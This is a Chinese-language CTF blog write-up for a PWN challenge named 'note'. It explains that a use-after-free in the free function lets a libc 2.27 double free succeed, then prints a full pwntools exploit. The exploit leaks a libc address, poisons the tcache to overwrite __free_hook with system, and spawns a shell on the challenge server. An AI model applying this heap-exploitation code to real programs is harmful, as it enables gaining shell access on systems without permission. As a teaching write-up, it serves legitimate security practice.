[第六章 CTF之PWN章]note

最新推荐文章于 2023-05-26 17:53:35 发布

yongbaoii

最新推荐文章于 2023-05-26 17:53:35 发布

阅读量447

点赞数 1

分类专栏： CTF 文章标签：网络安全

本文链接：https://blog.csdn.net/yongbaoii/article/details/120025567

版权

CTF 专栏收录该内容

213 篇文章 16 订阅

订阅专栏

在这里插入图片描述
RELRO半开

在这里插入图片描述
就是个菜单堆。

free
在这里插入图片描述 free函数有uaf。

2.27的libc直接double free就好了。

exp

from pwn import *

r = remote("node4.buuoj.cn", 26014)

def add(size,cont):
	r.sendlineafter(">>", '1')
	r.sendlineafter('Size', str(size))
	r.sendlineafter('Contet', cont)

def dele(idx):
	r.sendlineafter(">>", '4')
	r.sendlineafter('Index', str(idx))

def edit(idx,cont):
	r.sendlineafter(">>", '3')
	r.sendlineafter('Index', str(idx))
	r.sendline(cont)
def show(idx):
	r.sendlineafter(">>", '2')
	r.sendlineafter('Index', str(idx))

add(0x30,'aaa\n')#0
add(0x30,'bbb\n')#1
add(0x450,'xxxx\n')#2
add(0x30,'/bin/sh\n')#3
dele(2)
show(2)
addr = u64(r.recvuntil('\n')[:-1].ljust(8,'\x00'))

libc_base = addr - 0x3ebca0
free_hook = libc_base +4118760
system = libc_base+324672
print hex(libc_base)
dele(1)
dele(0)
dele(0)
edit(0,p64(free_hook))
add(0x30,p64(system))
add(0x30,p64(system))
dele(3)

r.interactive()